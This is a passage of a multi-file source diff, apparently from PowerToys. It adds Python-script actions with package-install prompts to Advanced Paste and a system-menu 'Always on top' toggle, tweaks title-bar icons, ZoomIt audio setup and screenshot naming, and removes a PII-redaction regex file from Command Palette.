<value>The script "{0}" requires the following Python packages that are not installed:
{1}
Install them now?</value>
<comment>{0} = script display name, {1} = bullet list of package names. Do not translate package names.</comment>
</data>
<data name="PythonPackageInstallConfirm" xml:space="preserve">
<value>Install</value>
</data>
<data name="PythonPackageInstallCancel" xml:space="preserve">
<value>Skip</value>
</data>
<data name="PythonPackageInstallFailed" xml:space="preserve">
<value>Failed to install package(s) "{0}": {1}</value>
<comment>{0} = pip package names, {1} = error detail. Do not translate package names.</comment>
</data>
<data name="PythonPackageInstallTimeout" xml:space="preserve">
<value>Package installation for "{0}" timed out ({1} seconds).</value>
<comment>{0} = pip package names, {1} = timeout in seconds. Do not translate {0} or {1}.</comment>
</data>
<data name="ShowErrorDetailsBtn.Content" xml:space="preserve">
<value>Show details</value>
</data>
<data name="ErrorDetailsDialogTitle" xml:space="preserve">
<value>Error Details</value>
</data>
<data name="ErrorDetailsDialogClose" xml:space="preserve">
<value>Close</value>
</data>
</root>

View File

@@ -16,6 +16,7 @@ using System.Threading.Tasks;
using AdvancedPaste.Helpers;
using AdvancedPaste.Models;
using AdvancedPaste.Services;
using AdvancedPaste.Services.PythonScripts;
using AdvancedPaste.Settings;
using Common.UI;
using CommunityToolkit.Mvvm.ComponentModel;
@@ -41,6 +42,7 @@ namespace AdvancedPaste.ViewModels
private readonly IUserSettings _userSettings;
private readonly IPasteFormatExecutor _pasteFormatExecutor;
private readonly IAICredentialsProvider _credentialsProvider;
private readonly IPythonScriptService _pythonScriptService;
private CancellationTokenSource _pasteActionCancellationTokenSource;
@@ -100,6 +102,8 @@ namespace AdvancedPaste.ViewModels
public ObservableCollection<PasteFormat> CustomActionPasteFormats { get; } = [];
public ObservableCollection<PasteFormat> PythonScriptPasteFormats { get; } = [];
public bool IsCustomAIServiceEnabled
{
get
@@ -258,11 +262,12 @@ namespace AdvancedPaste.ViewModels
public event EventHandler PreviewRequested;
public OptionsViewModel(IFileSystem fileSystem, IAICredentialsProvider credentialsProvider, IUserSettings userSettings, IPasteFormatExecutor pasteFormatExecutor)
public OptionsViewModel(IFileSystem fileSystem, IAICredentialsProvider credentialsProvider, IUserSettings userSettings, IPasteFormatExecutor pasteFormatExecutor, IPythonScriptService pythonScriptService)
{
_credentialsProvider = credentialsProvider;
_userSettings = userSettings;
_pasteFormatExecutor = pasteFormatExecutor;
_pythonScriptService = pythonScriptService;
GeneratedResponses = [];
GeneratedResponses.CollectionChanged += (s, e) =>
@@ -413,12 +418,51 @@ namespace AdvancedPaste.ViewModels
}
UpdateFormats(StandardPasteFormats, Enum.GetValues<PasteFormats>()
.Where(format => PasteFormat.MetadataDict[format].IsCoreAction || _userSettings.AdditionalActions.Contains(format))
.Where(format => format != PasteFormats.PythonScript &&
(PasteFormat.MetadataDict[format].IsCoreAction || _userSettings.AdditionalActions.Contains(format)))
.Select(CreateStandardPasteFormat));
UpdateFormats(
CustomActionPasteFormats,
IsCustomAIServiceEnabled ? _userSettings.CustomActions.Select(customAction => CreateCustomAIPasteFormat(customAction.Name, customAction.Prompt, isSavedQuery: true)) : []);
UpdateFormats(
PythonScriptPasteFormats,
BuildPythonScriptFormats());
}
private IEnumerable<PasteFormat> BuildPythonScriptFormats()
{
if (!_userSettings.IsPythonScriptsEnabled)
{
yield break;
}
var folder = _userSettings.PythonScriptsFolder;
if (string.IsNullOrWhiteSpace(folder))
{
yield break;
}
var discoveredScripts = _pythonScriptService.DiscoverScripts(folder);
var scriptActions = _userSettings.PythonScriptActions;
// Use metadata from discovered scripts, but apply IsShown from saved settings.
var hiddenPaths = new System.Collections.Generic.HashSet<string>(
scriptActions.Where(a => !a.IsShown).Select(a => a.ScriptPath),
StringComparer.OrdinalIgnoreCase);
foreach (var meta in discoveredScripts)
{
if (hiddenPaths.Contains(meta.ScriptPath) || !meta.IsEnabled)
{
continue;
}
// Filter by intersection: only pass clipboard formats the script supports.
var filteredFormats = AvailableClipboardFormats & meta.SupportedFormats;
yield return PasteFormat.CreatePythonScriptFormat(meta.Name, meta.ScriptPath, filteredFormats);
}
}
public void Dispose()
@@ -692,7 +736,10 @@ namespace AdvancedPaste.ViewModels
_pasteActionCancellationTokenSource = new();
TransformProgress = double.NaN;
PasteActionError = PasteActionError.None;
Query = pasteFormat.Query;
// For Python scripts the Prompt field holds the file path, not a user-visible query.
// Setting Query to the path would show it in the AI prompt box, which is misleading.
Query = pasteFormat.Format == PasteFormats.PythonScript ? string.Empty : pasteFormat.Query;
try
{
@@ -732,7 +779,7 @@ namespace AdvancedPaste.ViewModels
internal async Task ExecutePasteFormatAsync(VirtualKey key)
{
var pasteFormat = StandardPasteFormats.Concat(CustomActionPasteFormats)
var pasteFormat = StandardPasteFormats.Concat(CustomActionPasteFormats).Concat(PythonScriptPasteFormats)
.Where(pasteFormat => pasteFormat.IsEnabled)
.ElementAtOrDefault(key - VirtualKey.Number1);

View File

@@ -21,13 +21,9 @@
<RowDefinition Height="*" />
</Grid.RowDefinitions>
<TitleBar x:Name="titleBar" IsTabStop="False">
<!-- This is a workaround for https://github.com/microsoft/microsoft-ui-xaml/issues/10374, once fixed we should just be using IconSource -->
<TitleBar.LeftHeader>
<ImageIcon
Height="16"
Margin="16,0,0,0"
Source="/Assets/EnvironmentVariables/EnvironmentVariables.ico" />
</TitleBar.LeftHeader>
<TitleBar.IconSource>
<ImageIconSource ImageSource="/Assets/EnvironmentVariables/EnvironmentVariables.ico" />
</TitleBar.IconSource>
</TitleBar>
</Grid>
</winuiex:WindowEx>

View File

@@ -27,8 +27,8 @@ namespace EnvironmentVariables
ExtendsContentIntoTitleBar = true;
SetTitleBar(titleBar);
AppWindow.SetIcon("Assets/EnvironmentVariables/EnvironmentVariables.ico");
var loader = ResourceLoaderInstance.ResourceLoader;
var title = App.GetService<IElevationHelper>().IsElevated ? loader.GetString("WindowAdminTitle") : loader.GetString("WindowTitle");

View File

@@ -21,13 +21,9 @@
<RowDefinition Height="*" />
</Grid.RowDefinitions>
<TitleBar x:Name="titleBar" IsTabStop="False">
<!-- This is a workaround for https://github.com/microsoft/microsoft-ui-xaml/issues/10374, once fixed we should just be using IconSource -->
<TitleBar.LeftHeader>
<ImageIcon
Height="16"
Margin="16,0,0,0"
Source="/Assets/FileLocksmith/Icon.ico" />
</TitleBar.LeftHeader>
<TitleBar.IconSource>
<ImageIconSource ImageSource="/Assets/FileLocksmith/Icon.ico" />
</TitleBar.IconSource>
</TitleBar>
<views:MainPage x:Name="mainPage" Grid.Row="1" />
</Grid>

View File

@@ -20,7 +20,6 @@ namespace FileLocksmithUI
mainPage.ViewModel.IsElevated = isElevated;
SetTitleBar(titleBar);
ExtendsContentIntoTitleBar = true;
AppWindow.TitleBar.PreferredHeightOption = TitleBarHeightOption.Tall;
AppWindow.SetIcon("Assets/FileLocksmith/Icon.ico");
WindowHelpers.ForceTopBorder1PixelInsetOnWindows10(this.GetWindowHandle());

View File

@@ -5,7 +5,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidIPv4",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -46,7 +46,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidIPv6",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -87,7 +87,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidHosts",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -128,7 +128,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzWriteAsync",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"

View File

@@ -21,13 +21,9 @@
<RowDefinition Height="*" />
</Grid.RowDefinitions>
<TitleBar x:Name="titleBar" IsTabStop="False">
<!-- This is a workaround for https://github.com/microsoft/microsoft-ui-xaml/issues/10374, once fixed we should just be using IconSource -->
<TitleBar.LeftHeader>
<ImageIcon
Height="16"
Margin="16,0,0,0"
Source="/Assets/Hosts/Hosts.ico" />
</TitleBar.LeftHeader>
<TitleBar.IconSource>
<ImageIconSource ImageSource="/Assets/Hosts/Hosts.ico" />
</TitleBar.IconSource>
</TitleBar>
</Grid>
</winuiex:WindowEx>

View File

@@ -940,10 +940,12 @@ VideoRecordingSession::VideoRecordingSession(
video.PixelAspectRatio().Denominator(1);
m_encodingProfile.Video(video);
// Always set up audio profile for loopback capture (stereo AAC)
auto audio = m_encodingProfile.Audio();
audio = winrt::AudioEncodingProperties::CreateAac(48000, 2, 192000);
m_encodingProfile.Audio(audio);
if (captureAudio || captureSystemAudio)
{
auto audio = m_encodingProfile.Audio();
audio = winrt::AudioEncodingProperties::CreateAac(48000, 2, 192000);
m_encodingProfile.Audio(audio);
}
// Describe our input: uncompressed BGRA8 buffers
auto properties = winrt::VideoEncodingProperties::CreateUncompressed(
@@ -964,8 +966,14 @@ VideoRecordingSession::VideoRecordingSession(
winrt::check_hresult(m_previewSwapChain->GetBuffer(0, winrt::guid_of<ID3D11Texture2D>(), backBuffer.put_void()));
winrt::check_hresult(m_d3dDevice->CreateRenderTargetView(backBuffer.get(), nullptr, m_renderTargetView.put()));
// Always create audio generator for loopback capture; captureAudio controls microphone
m_audioGenerator = std::make_unique<AudioSampleGenerator>(captureAudio, captureSystemAudio, micMonoMix);
if (captureAudio || captureSystemAudio)
{
m_audioGenerator = std::make_unique<AudioSampleGenerator>(captureAudio, captureSystemAudio, micMonoMix);
}
else
{
m_audioGenerator = nullptr;
}
}
@@ -1207,14 +1215,8 @@ void VideoRecordingSession::OnMediaStreamSourceSampleRequested(
{
try
{
if (auto sample = m_audioGenerator->TryGetNextSample())
{
request.Sample(sample.value());
}
else
{
request.Sample(nullptr);
}
auto sample = m_audioGenerator ? m_audioGenerator->TryGetNextSample() : std::optional<winrt::MediaStreamSample>{};
request.Sample(sample.has_value() ? sample.value() : nullptr);
}
catch (winrt::hresult_error const& error)
{

View File

@@ -5507,9 +5507,29 @@ auto GetUniqueRecordingFilename()
return GetUniqueFilename(g_RecordingSaveLocation, defaultFile, FOLDERID_Videos);
}
//----------------------------------------------------------------------------
//
// GetUniqueScreenshotFilename
//
// Gets a unique file name for screenshot saves, using the current date and
// time as a suffix. This reduces the chance that the user could overwrite an
// existing file if they are saving multiple captures in the same folder, and
// also ensures that ordering is correct when sorted by name.
//
//----------------------------------------------------------------------------
auto GetUniqueScreenshotFilename()
{
return GetUniqueFilename(g_ScreenshotSaveLocation, DEFAULT_SCREENSHOT_FILE, FOLDERID_Pictures);
SYSTEMTIME lt;
GetLocalTime(&lt);
// Format: "ZoomIt YYYY-MM-DD HHMMSS.png"
wchar_t buffer[MAX_PATH];
swprintf_s(buffer, L"%s %04d-%02d-%02d %02d%02d%02d.png",
APPNAME,
lt.wYear, lt.wMonth, lt.wDay,
lt.wHour, lt.wMinute, lt.wSecond);
return std::wstring(buffer);
}
//----------------------------------------------------------------------------

View File

@@ -21,6 +21,25 @@ namespace NonLocalizable
{
const static wchar_t* TOOL_WINDOW_CLASS_NAME = L"AlwaysOnTopWindow";
const static wchar_t* WINDOW_IS_PINNED_PROP = L"AlwaysOnTop_Pinned";
constexpr UINT SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND = 0xEFE0;
constexpr DWORD SYSTEM_EVENT_MENU_POPUP_START = 0x0006;
constexpr DWORD SYSTEM_EVENT_MENU_POPUP_END = 0x0007;
}
namespace
{
void UnsubscribeEvents(std::vector<HWINEVENTHOOK>& hooks) noexcept
{
for (const auto hook : hooks)
{
if (hook)
{
UnhookWinEvent(hook);
}
}
hooks.clear();
}
}
bool isExcluded(HWND window)
@@ -32,7 +51,7 @@ bool isExcluded(HWND window)
}
AlwaysOnTop::AlwaysOnTop(bool useLLKH, DWORD mainThreadId) :
SettingsObserver({SettingId::FrameEnabled, SettingId::Hotkey, SettingId::ExcludeApps}),
SettingsObserver({SettingId::FrameEnabled, SettingId::Hotkey, SettingId::ExcludeApps, SettingId::ShowInSystemMenu}),
m_hinstance(reinterpret_cast<HINSTANCE>(&__ImageBase)),
m_useCentralizedLLKH(useLLKH),
m_mainThreadId(mainThreadId),
@@ -53,6 +72,11 @@ AlwaysOnTop::AlwaysOnTop(bool useLLKH, DWORD mainThreadId) :
SubscribeToEvents();
StartTrackingTopmostWindows();
if (HWND foregroundWindow = GetForegroundWindow())
{
UpdateSystemMenuItem(foregroundWindow);
}
}
else
{
@@ -144,6 +168,13 @@ void AlwaysOnTop::SettingsUpdate(SettingId id)
}
}
break;
case SettingId::ShowInSystemMenu:
{
UpdateSystemMenuEventHooks(AlwaysOnTopSettings::settings().showInSystemMenu);
m_lastSystemMenuWindow = nullptr;
UpdateSystemMenuItem(GetForegroundWindow());
}
break;
default:
break;
}
@@ -225,6 +256,8 @@ void AlwaysOnTop::ProcessCommand(HWND window)
{
m_sound.Play(soundType);
}
UpdateSystemMenuItem(window);
}
void AlwaysOnTop::StartTrackingTopmostWindows()
@@ -414,6 +447,86 @@ void AlwaysOnTop::SubscribeToEvents()
Logger::error(L"Failed to set win event hook");
}
}
UpdateSystemMenuEventHooks(AlwaysOnTopSettings::settings().showInSystemMenu);
}
void AlwaysOnTop::UpdateSystemMenuEventHooks(bool enable)
{
constexpr std::array<DWORD, 3> menu_events_to_subscribe = {
NonLocalizable::SYSTEM_EVENT_MENU_POPUP_START,
NonLocalizable::SYSTEM_EVENT_MENU_POPUP_END,
EVENT_OBJECT_INVOKED,
};
if (enable)
{
if (m_systemMenuWinEventHooks.size() == menu_events_to_subscribe.size())
{
return;
}
// Recover from any partial hook registration before re-registering.
UnsubscribeEvents(m_systemMenuWinEventHooks);
for (const auto event : menu_events_to_subscribe)
{
auto hook = SetWinEventHook(event, event, nullptr, WinHookProc, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS);
if (hook)
{
m_systemMenuWinEventHooks.emplace_back(hook);
}
else
{
Logger::error(L"Failed to set system menu win event hook");
}
}
}
else
{
UnsubscribeEvents(m_systemMenuWinEventHooks);
}
}
void AlwaysOnTop::UpdateSystemMenuItem(HWND window) const noexcept
{
if (!window || !IsWindow(window))
{
return;
}
const auto systemMenu = GetSystemMenu(window, false);
if (!systemMenu)
{
return;
}
if (!AlwaysOnTopSettings::settings().showInSystemMenu)
{
if (GetMenuState(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND) != static_cast<UINT>(-1))
{
RemoveMenu(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND);
}
return;
}
auto text = GET_RESOURCE_STRING(IDS_SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP);
MENUITEMINFOW menuItemInfo{};
menuItemInfo.cbSize = sizeof(menuItemInfo);
menuItemInfo.fMask = MIIM_ID | MIIM_STATE | MIIM_STRING;
menuItemInfo.wID = NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND;
menuItemInfo.fState = IsPinned(window) ? MFS_CHECKED : MFS_UNCHECKED;
menuItemInfo.dwTypeData = text.data();
if (GetMenuState(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND) == static_cast<UINT>(-1))
{
InsertMenuItemW(systemMenu, SC_CLOSE, FALSE, &menuItemInfo);
}
else
{
menuItemInfo.fMask = MIIM_STATE | MIIM_STRING;
SetMenuItemInfoW(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, FALSE, &menuItemInfo);
}
}
void AlwaysOnTop::UnpinAll()
@@ -434,6 +547,9 @@ void AlwaysOnTop::UnpinAll()
void AlwaysOnTop::CleanUp()
{
UnsubscribeEvents(m_systemMenuWinEventHooks);
UnsubscribeEvents(m_staticWinEventHooks);
UnpinAll();
if (m_window)
{
@@ -492,6 +608,79 @@ bool AlwaysOnTop::IsTracked(HWND window) const noexcept
void AlwaysOnTop::HandleWinHookEvent(WinHookEvent* data) noexcept
{
switch (data->event)
{
case NonLocalizable::SYSTEM_EVENT_MENU_POPUP_START:
{
if (data->idObject == OBJID_SYSMENU && data->hwnd)
{
m_lastSystemMenuWindow = AlwaysOnTopSettings::settings().showInSystemMenu ? data->hwnd : nullptr;
UpdateSystemMenuItem(data->hwnd);
}
}
return;
case NonLocalizable::SYSTEM_EVENT_MENU_POPUP_END:
{
if (data->idObject == OBJID_SYSMENU && data->hwnd == m_lastSystemMenuWindow)
{
m_lastSystemMenuWindow = nullptr;
}
}
return;
case EVENT_OBJECT_INVOKED:
{
if (!AlwaysOnTopSettings::settings().showInSystemMenu)
{
return;
}
if (data->idChild != static_cast<LONG>(NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND))
{
return;
}
const bool isMenuRelatedObject = (data->idObject == OBJID_SYSMENU || data->idObject == OBJID_MENU || data->idObject == OBJID_CLIENT);
if (!isMenuRelatedObject && (!m_lastSystemMenuWindow || !IsWindow(m_lastSystemMenuWindow)))
{
return;
}
const auto hasToggleMenuItem = [](HWND window) -> bool {
if (!window || !IsWindow(window))
{
return false;
}
const auto systemMenu = GetSystemMenu(window, false);
return systemMenu &&
GetMenuState(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND) != static_cast<UINT>(-1);
};
HWND commandWindow = nullptr;
const auto trySetCommandWindow = [&](HWND candidate) noexcept {
if (!commandWindow && hasToggleMenuItem(candidate))
{
commandWindow = candidate;
}
};
if (m_lastSystemMenuWindow && IsWindow(m_lastSystemMenuWindow))
{
trySetCommandWindow(m_lastSystemMenuWindow);
}
trySetCommandWindow(data->hwnd);
trySetCommandWindow(GetForegroundWindow());
if (commandWindow)
{
ProcessCommand(commandWindow);
}
}
return;
default:
break;
}
if (!AlwaysOnTopSettings::settings().enableFrame || !data->hwnd)
{
return;
@@ -566,6 +755,8 @@ void AlwaysOnTop::HandleWinHookEvent(WinHookEvent* data) noexcept
break;
case EVENT_SYSTEM_FOREGROUND:
{
UpdateSystemMenuItem(data->hwnd);
if (!is_process_elevated() && IsProcessOfWindowElevated(data->hwnd))
{
m_notificationUtil->WarnIfElevationIsRequired(GET_RESOURCE_STRING(IDS_ALWAYSONTOP),
@@ -776,4 +967,4 @@ void AlwaysOnTop::RestoreWindowAlpha(HWND window)
SetWindowLong(window, GWL_EXSTYLE, exStyle & ~WS_EX_LAYERED);
}
}
}
}

View File

@@ -45,6 +45,7 @@ private:
static inline AlwaysOnTop* s_instance = nullptr;
std::vector<HWINEVENTHOOK> m_staticWinEventHooks{};
std::vector<HWINEVENTHOOK> m_systemMenuWinEventHooks{};
Sound m_sound;
VirtualDesktopUtils m_virtualDesktopUtils;
@@ -69,15 +70,18 @@ private:
std::thread m_thread;
const bool m_useCentralizedLLKH;
bool m_running = true;
HWND m_lastSystemMenuWindow{ nullptr };
std::unique_ptr<notifications::NotificationUtil> m_notificationUtil;
LRESULT WndProc(HWND, UINT, WPARAM, LPARAM) noexcept;
void HandleWinHookEvent(WinHookEvent* data) noexcept;
void UpdateSystemMenuItem(HWND window) const noexcept;
bool InitMainWindow();
void RegisterHotkey() const;
void RegisterLLKH();
void SubscribeToEvents();
void UpdateSystemMenuEventHooks(bool enable);
void ProcessCommand(HWND window);
void StartTrackingTopmostWindows();

View File

@@ -131,4 +131,7 @@
<data name="System_Foreground_Elevated_Dialog_Dont_Show_Again" xml:space="preserve">
<value>Don't show again</value>
</data>
</root>
<data name="System_Menu_Toggle_Always_On_Top" xml:space="preserve">
<value>Always on top</value>
</data>
</root>

View File

@@ -14,6 +14,7 @@ namespace NonLocalizable
const static wchar_t* HotkeyID = L"hotkey";
const static wchar_t* SoundEnabledID = L"sound-enabled";
const static wchar_t* ShowInSystemMenuID = L"show-in-system-menu";
const static wchar_t* FrameEnabledID = L"frame-enabled";
const static wchar_t* FrameThicknessID = L"frame-thickness";
const static wchar_t* FrameColorID = L"frame-color";
@@ -115,6 +116,16 @@ void AlwaysOnTopSettings::LoadSettings()
}
}
if (const auto jsonVal = values.get_bool_value(NonLocalizable::ShowInSystemMenuID))
{
auto val = *jsonVal;
if (m_settings.showInSystemMenu != val)
{
m_settings.showInSystemMenu = val;
NotifyObservers(SettingId::ShowInSystemMenu);
}
}
if (const auto jsonVal = values.get_int_value(NonLocalizable::FrameThicknessID))
{
auto val = *jsonVal;

View File

@@ -18,6 +18,7 @@ struct Settings
static constexpr int minTransparencyPercentage = 20; // minimum transparency (can't go below 20%)
static constexpr int maxTransparencyPercentage = 100; // maximum (fully opaque)
static constexpr int transparencyStep = 10; // step size for +/- adjustment
bool showInSystemMenu = false;
bool enableFrame = true;
bool enableSound = true;
bool roundCornersEnabled = true;
@@ -56,4 +57,4 @@ private:
std::unordered_set<SettingsObserver*> m_observers;
void NotifyObservers(SettingId id) const;
};
};

View File

@@ -4,6 +4,7 @@ enum class SettingId
{
Hotkey = 0,
SoundEnabled,
ShowInSystemMenu,
FrameEnabled,
FrameThickness,
FrameColor,
@@ -12,4 +13,4 @@ enum class SettingId
ExcludeApps,
FrameAccentColor,
RoundCornersEnabled
};
};

View File

@@ -264,3 +264,15 @@ dotnet_style_prefer_simplified_interpolation = true:suggestion
[*.{cs,vb}]
# CS8305: Type is for evaluation purposes only and is subject to change or removal in future updates.
dotnet_diagnostic.CS8305.severity = suggestion
##################################################
# Solutions and projects
##################################################
[*.{*proj,props,target}]
tab_width = 2
indent_size = 2
end_of_line = crlf
indent_style = space
insert_final_newline = true
trim_trailing_whitespace = true

View File

@@ -26,6 +26,11 @@
"input": "pushd .\\ExtensionTemplate\\ ; git archive -o ..\\Microsoft.CmdPal.UI.ViewModels\\Assets\\template.zip HEAD -- .\\TemplateCmdPalExtension\\ ; popd",
"name": "Update template project",
"description": "zips up the ExtensionTemplate into our assets. Run this in the cmdpal/ directory."
},
{
"input": " .\\extensionsdk\\nuget\\BuildSDKHelper.ps1 -VersionOfSDK 0.0.1",
"name": "Build SDK",
"description": "Builds the SDK nuget package with the specified version."
}
]
}

View File

@@ -11,12 +11,11 @@
"src\\common\\version\\version.vcxproj",
"src\\modules\\cmdpal\\CmdPalKeyboardService\\CmdPalKeyboardService.vcxproj",
"src\\modules\\cmdpal\\CmdPalModuleInterface\\CmdPalModuleInterface.vcxproj",
"src\\modules\\cmdpal\\Core\\Microsoft.CmdPal.Core.Common\\Microsoft.CmdPal.Core.Common.csproj",
"src\\modules\\cmdpal\\Core\\Microsoft.CmdPal.Core.ViewModels\\Microsoft.CmdPal.Core.ViewModels.csproj",
"src\\modules\\cmdpal\\Microsoft.CmdPal.Common\\Microsoft.CmdPal.Common.csproj",
"src\\modules\\cmdpal\\Microsoft.CmdPal.UI.ViewModels\\Microsoft.CmdPal.UI.ViewModels.csproj",
"src\\modules\\cmdpal\\Microsoft.CmdPal.UI\\Microsoft.CmdPal.UI.csproj",
"src\\modules\\cmdpal\\Microsoft.Terminal.UI\\Microsoft.Terminal.UI.vcxproj",
"src\\modules\\cmdpal\\Tests\\Microsoft.CmdPal.Core.Common.UnitTests\\Microsoft.CmdPal.Core.Common.UnitTests.csproj",
"src\\modules\\cmdpal\\Tests\\Microsoft.CmdPal.Common.UnitTests\\Microsoft.CmdPal.Common.UnitTests.csproj",
"src\\modules\\cmdpal\\Tests\\Microsoft.CmdPal.Ext.Apps.UnitTests\\Microsoft.CmdPal.Ext.Apps.UnitTests.csproj",
"src\\modules\\cmdpal\\Tests\\Microsoft.CmdPal.Ext.Bookmarks.UnitTests\\Microsoft.CmdPal.Ext.Bookmarks.UnitTests.csproj",
"src\\modules\\cmdpal\\Tests\\Microsoft.CmdPal.Ext.Calc.UnitTests\\Microsoft.CmdPal.Ext.Calc.UnitTests.csproj",
@@ -37,6 +36,7 @@
"src\\modules\\cmdpal\\ext\\Microsoft.CmdPal.Ext.Calc\\Microsoft.CmdPal.Ext.Calc.csproj",
"src\\modules\\cmdpal\\ext\\Microsoft.CmdPal.Ext.ClipboardHistory\\Microsoft.CmdPal.Ext.ClipboardHistory.csproj",
"src\\modules\\cmdpal\\ext\\Microsoft.CmdPal.Ext.Indexer\\Microsoft.CmdPal.Ext.Indexer.csproj",
"src\\modules\\cmdpal\\ext\\Microsoft.CmdPal.Ext.PerformanceMonitor\\Microsoft.CmdPal.Ext.PerformanceMonitor.csproj",
"src\\modules\\cmdpal\\ext\\Microsoft.CmdPal.Ext.Registry\\Microsoft.CmdPal.Ext.Registry.csproj",
"src\\modules\\cmdpal\\ext\\Microsoft.CmdPal.Ext.RemoteDesktop\\Microsoft.CmdPal.Ext.RemoteDesktop.csproj",
"src\\modules\\cmdpal\\ext\\Microsoft.CmdPal.Ext.Shell\\Microsoft.CmdPal.Ext.Shell.csproj",

View File

@@ -1,26 +0,0 @@
<Project Sdk="Microsoft.NET.Sdk">
<Import Project="..\..\CoreCommonProps.props" />
<PropertyGroup>
<RootNamespace>Microsoft.CmdPal.Core.Common</RootNamespace>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Microsoft.Extensions.Hosting" />
</ItemGroup>
<ItemGroup>
<Compile Update="Properties\Resources.Designer.cs">
<DesignTime>True</DesignTime>
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Update="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
</EmbeddedResource>
</ItemGroup>
</Project>

View File

@@ -1,83 +0,0 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Text.RegularExpressions;
using Microsoft.CmdPal.Core.Common.Services.Sanitizer.Abstraction;
namespace Microsoft.CmdPal.Core.Common.Services.Sanitizer;
internal sealed partial class PiiRuleProvider : ISanitizationRuleProvider
{
public IEnumerable<SanitizationRule> GetRules()
{
yield return new(EmailRx(), "[EMAIL_REDACTED]", "Email addresses");
yield return new(SsnRx(), "[SSN_REDACTED]", "Social Security Numbers");
yield return new(CreditCardRx(), "[CARD_REDACTED]", "Credit card numbers");
// phone number regex is the most generic, so it goes last
// we can't make this too generic; otherwise we over-redact error codes, dates, etc.
yield return new(PhoneRx(), "[PHONE_REDACTED]", "Phone numbers");
}
[GeneratedRegex(@"\b[a-zA-Z0-9]([a-zA-Z0-9._%-]*[a-zA-Z0-9])?@[a-zA-Z0-9]([a-zA-Z0-9.-]*[a-zA-Z0-9])?\.[a-zA-Z]{2,}\b",
SanitizerDefaults.DefaultOptions, SanitizerDefaults.DefaultMatchTimeoutMs)]
private static partial Regex EmailRx();
[GeneratedRegex("""
(?xi)
# ---------- boundaries ----------
(?<!\w) # not after a letter/digit/underscore
(?<![A-Za-z0-9]-) # avoid starting inside hyphenated tokens (GUID middles, etc.)
# ---------- global do-not-match guards ----------
(?! # ISO date (yyyy-mm-dd / yyyy.mm.dd / yyyy/mm/dd)
(?:19|20)\d{2}[-./](?:0[1-9]|1[0-2])[-./](?:0[1-9]|[12]\d|3[01])\b
)
(?! # EU date (dd-mm-yyyy / dd.mm.yyyy / dd/mm/yyyy)
(?:0[1-9]|[12]\d|3[01])[-./](?:0[1-9]|1[0-2])[-./](?:19|20)\d{2}\b
)
(?! # ISO datetime like 2025-08-24T14:32[:ss][Z|±hh:mm]
(?:19|20)\d{2}-\d{2}-\d{2}[T\s]\d{2}:\d{2}(?::\d{2})?(?:Z|[+-]\d{2}:\d{2})?\b
)
(?!\b(?:\d{1,3}\.){3}\d{1,3}(?::\d{1,5})?\b) # IPv4 with optional :port
(?!\b[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}\b) # GUID, lowercase
(?!\b[0-9A-F]{8}-(?:[0-9A-F]{4}-){3}[0-9A-F]{12}\b) # GUID, uppercase
(?!\bv?\d+(?:\.\d+){2,}\b) # semantic/file versions like 1.2.3 or 10.0.22631.3448
(?!\b(?:[0-9A-F]{2}[:-]){5}[0-9A-F]{2}\b) # MAC address
# ---------- digit budget ----------
(?=(?:\D*\d){7,15}) # 715 digits in total
# ---------- number body ----------
(?:
# A with explicit country code, allow compact digits (E.164-ish) or grouped
(?:\+|00)[1-9]\d{0,2}
(?:
[\p{Zs}.\-\/]*\d{6,14}
|
[\p{Zs}.\-\/]* (?:\(\d{1,4}\)|\d{1,4})
(?:[\p{Zs}.\-\/]+(?:\(\d{2,4}\)|\d{2,4})){1,6}
)
|
# B no country code => require separators between blocks (avoid plain big ints)
(?:\(\d{1,4}\)|\d{1,4})
(?:[\p{Zs}.\-\/]+(?:\(\d{2,4}\)|\d{2,4})){1,6}
)
# ---------- optional extension ----------
(?:[\p{Zs}.\-,:;]* (?:ext\.?|x) [\p{Zs}]* (?<ext>\d{1,6}))?
(?!-\w) # don't end just before '-letter'/'-digit'
""",
SanitizerDefaults.DefaultOptions | RegexOptions.IgnorePatternWhitespace, SanitizerDefaults.DefaultMatchTimeoutMs)]
private static partial Regex PhoneRx();
[GeneratedRegex(@"\b\d{3}-\d{2}-\d{4}\b",
